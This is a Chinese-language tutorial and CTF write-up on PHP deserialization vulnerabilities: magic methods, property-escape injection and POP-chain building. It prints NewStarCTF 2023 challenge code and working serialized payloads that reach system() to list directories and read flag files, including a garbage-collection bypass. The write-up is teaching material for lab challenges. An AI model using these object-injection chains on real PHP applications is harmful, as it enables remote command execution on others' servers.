php反序列化
序列化基础知识:
序列化:将对象的信息状态(属性)转换为可以存储或传输的形式的过程

表达方式:

i:表示整形
d:表示浮点型
b:表示布尔型
s:表示字符型


再加一个变量会变成这样

如果是嵌套呢?

可以看到在序列化a的时候,此时也会把test也给序列化
构造:
private私有属性序列化的时候,要在变量名前面加 %00类名%00
因为,private变量在进行序列化的时候,会将类名也写下来,而且会多出来箭头1和2,这也就是为什么是s:9,而不是s:7(testpub总共七个字母)

对serialize($a)进行url编码,看看箭头1和2是什么东西

发现是2个%00,所以 private私有属性序列化的时候,要在变量名前面加 %00类名%00
同样地,protect受保护属性序列化的时候,在变量名前面加 %00*%00
反序列化知识:
- 反序列化之后的内容是一个对象
- 反序列化生成的对象里的值,由反序列里的值提供,与原有类预定义的值无关
- 反序列化不触发类成的成员方法,需要调用方法后才能生成
反序列化:将序列化后的参数还原成实例化的对象

现在来验证第一点: 反序列化之后的内容是一个对象

可以看到经过序列化,反序列化之后,还是和原来一样
验证第二点:反序列化生成的对象里的值,由反序列里的值提供,与原有类预定义的值无关

验证第三点:反序列化不触发类成的成员方法,需要调用方法后才能生成
从上面的2点来看,成员方法始终没有触发,那现在来调用一下

虽然说上面的类(test)看似没什么用处,但是如果把test删掉的话,就没办法调用了
报错:

反序列化漏洞成因:
反序列化过程中,unserialize()接收的值(字符串)可控,通过更改这个值(字符串),得到所需要的代码,通过调用方法,触发代码执行
魔术方法构造和析构:
魔术方法:一个预定义好的,在特定情况下自动触发的行为方法
比如吃饭(动作a)前先拿碗筷(动作b) 执行动作a之前先执行动作b
作用:在特定条件下,根据反序列化漏洞成因,自动调用相关方法,最终导致触发代码
函数:
机制:触发时机->功能->参数->返回值

- _construct()
构造函数,在实例化一个对象的时候,自动执行一个方法
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:
![]()
- _destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁的时候执行的魔术方法
![]()
实例化对象结束后,代码运行完全销毁,触发析构函数_destruct()
序列化过程不会触发
反序列化得到对象,用完会销毁,触发析构函数_destruct() -
_sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法_sleep(),如果存在,sleep会被执行,然后再执行serialize
触发时机:序列化serialize()之前功能:对象序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被序列化存储的成员属性![]()
![]()
-
weak_up()
unserialize()会先检查类中是否存在一个魔术方法_wakeup方法,如果存在,weakup会被先执行,预先准备对象需要的资源,预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或者执行其他初始化操作
触发时机:反序列化unserialize之前
功能:
参数
返回值:
_wakeup()在unserialize之前
_destruct()在unserialize之后
例:![]()
- _toString()
表达方式错误导致魔术方法触发
触发时机:当对象被当成字符串调用
功能:
参数
例:
![]()
把类User实体化并赋值给tset,此时test是个对象,调用对象可以用print_r或者var_dump
如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当做字符串,此时就会触发toString() - _invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数
功能:
参数:
返回值:
例:
![]()
把类User实体化并赋值给$test为对象,正常输出对象里面的benben,加()是把test当成函数test()去调用,此时就会触发invoke()
- _call()
触发时机:调用一个不存在的方法
功能:
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在方法的名称和参数![]()
把类User实体化并复制给$test为对象,调用一个不存在的方法,触发_call() -
_callStatic()
触发时机:静态调用或调用成员常量时使用方法不存在
功能:
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在方法的名称和参数![]()
- _get()
触发时机:调用成员属性不存在
功能:
参数:传参$arg1
返回值:不存在的成员属性的名称
![]()
调用成员属性var2,不存在,触发_get,把不存在的属性名称var2赋值给$arg1
- _set()
触发时机:给不存在的成员属性赋值
功能:
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
![]()
-
_isset()
触发时机:对不可访问属性使用isset()或者empty(),isset会被调用
功能:
参数:传参$arg1
返回值:不存在的成员属性名称![]()
-
_unset()
触发时机:对不可访问属性使用unset,unset会被调用
功能:
参数:传参$arg1
返回值:不存在的成员属性名称![]()
-
_clone()
触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()
功能:
参数:
返回值:![]()
使用_clone克隆对象完成后,触发魔术方法_clone
1、字符串逃逸增加绕过
题目:newstar-web4-逃
这道题的$cmd已经被赋值了,我们要做的就是去改变$cmd的值,改成我们想要输入的命令,比如 ls ./ 来查看目录
原理:如何实现逃逸绕过?
1、先了解反序列化是如何认定结束标志的

简单来说就是,反序列化是以这个;}来作为结束标志的,但也不完全是,前提是前面的成员属性数量一致,成员属性名称长度一致,内容长度一致,只有在这个前提之下,;}才会被当作结束的标志
2、属性逃逸

因为 ls 变成 pwd 后,但是前面的字符长度还是原来的2(ls),所以如果我们在我们构造的语句之前输入很多个ls,那么就相当于等会变成了很多个pwd,那多出来的这很多个空位就可以构造我们的语句

比如上面的例子,v3是一个不存在的值,我们现在要实现的是,凭空生一个v3出来
现在我们构造的语句是 lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
等会变成了22个pwd的时候,刚好满足v1的长度:66
所以后面的 s:2:"v3";s:3:"666" 就会变成一个新的v3、
这个时候我们的成员属性数量,成员属性名称长度,内容长度都一致,而且我们又给他构造了 ;} 这个结束符号
所以就相当于把后面的 s:2:"v2";s:3:"123";} 丢掉了
然后现在反序列化出来的就是v1和v3这2个值,原本是v1和v2
以上就是逃逸的原理
现在回到这道题目:newstar-web4-逃

可以看到我们是要通过$cmd的值去实现我们想要的操作,但是他已经被赋值'whoami' ,所以我们现在就是要来通过属性逃逸的原理,在反序列化的时候来把cmd的值给替换掉
playload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

可以看到我们现在成功把cmd的值修改为ls,那么就会变成system(ls),也就是查看目录,查出来一个index.php

playload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
字符减少和字符增加原理一致
pop链构造思路
1、先寻找敏感函数,比如include、eval,或者是2个可控变量组成的函数,比如(this->var)(this->opop)
2、然后就是从后面逆推魔术方法
3、接着再把魔术方法逆序过来,然后从第一个魔术方法开始构造pop链
##
题目1:newstar_web3——POP
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
playload构造过程:
$a=new Begin();
$a->name=new Then();
$a->name->func=new Super()
$a->name->func->obj=new Handle()
$a->name->func->obj->obj=new CTF()
$a->name->func->obj->obj->handle=new WhiteGod()
这个过程是怎么怎么来的:
1、首先观察到 ($this->func)($this->var); 发现func和var都是可控的
那么这2个变量就可以组成一个函数,比如system(ls ./)
2、发现要操作这2个变量,需要进入 __unset函数,又发现__unset在end()函数里面
3、而_call函数存在调用end函数,所以现在要先进入_call函数
4、而_call函数触发的条件是:调用一个不存在的方法,发现invoke里面存在这样的条件,所以现在要先进入invoke
5、而invoke的触发条件是:把对象当成函数,而tostring里面正好存在这样的条件,所以要先进入tostring
6、tostring触发的条件是:当对象被当成字符串调用,可以看到在正则匹配中的this->name就是被当作字符串,所以只需
要把this->name弄成一个对象,等会进入正则匹配的时候,this->name这个对象就会被当作字符串处理,也就会触 tostring了
7、所以逆推链就是:unset->end->->call->ivoke->tostring->destruct
8、真正的顺序链为:destruct->tostring->invoke->call->end->unset
自己运行得到序列化结果过程:
<?php
class Begin{
public $name;
}
class Then{
public $func;
public function __construct()
{
$this->func = new Super();
}
}
class Handle{
public $obj;
public function __construct()
{
$this->obj = new CTF();
}
}
class Super{
public $obj;
public function __construct()
{
$this->obj = new Handle();
}
}
class CTF{
public $handle;
}
class WhiteGod{
public $func='system';
public $var='ls ./';
}
$a=new Begin();
$a->name=new Then();
$a->name->func->obj->obj->handle=new WhiteGod();
echo serialize($a);
echo ($a);
destruct->tostring->invoke->call->end->unset
//1、先把类的方法方法去掉,因为这个题的then,super,super类都是private或者protected,如果直接用上面的playload构造过程是无法得到的,所以我把private或者protected都改成了public,等会得到$a的序列化结果后,在执行添加%00(private)或者%00*%00(protected)就可以了
//2、由于private或者protected的问题,导致报错:无法访问private的私有属性,但我也不知道怎么处理。。。所以我就直接在then,super,super类这3个类都创建了_construct方法,代替了
$a->name->func=new Super()
$a->name->func->obj=new Handle()
$a->name->func->obj->obj=new CTF()
这3条语句
//3、这样子弄完之后就会得到a的序列化结果:O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:5:"ls ./";}}}}}}
//4、最后的话就自己添加上%00或者%00*%00就行了
最终playload:
pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}}
拿到flag:

官方的方法比较厉害。。。
题目2:newstar_web4——More Fast
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
前置小知识:在php中,当对象被销毁时会自动调用__destruct()方法,但是如果程序报错或者抛出异常,则就不会触发destruct。
这个题目比平常多了 throw new Exception("Nope")
也就是这个异常抛出处理,所以就无法触发_destruct方法了
深入了解GC机制:
简单来说,就是unserialize之后,对象被销毁,这时候本来destruct会检测到类被销毁,然后触发destrcut,但是这个时候throw会回收这个被销毁的类,所以destruct就不会检测到有类被销毁,也就无法触发destruct了
但是我们可以提前通过触发GC,进行垃圾回收,销毁对象,使得destruct可以触发
触发方法:
(1)对象被unset()处理
(2)数组对象为NULL的时候
先进行正常的pop链构造:
$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
使用方法2来绕过GC
$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$b=array($a,0);
echo seaialize($b);
得到playload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}
这个时候要把 i:1;i:0; 修改成: i:0;i:0;(文章里面的refcount)

最终playload:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;}
















浙公网安备 33010602011771号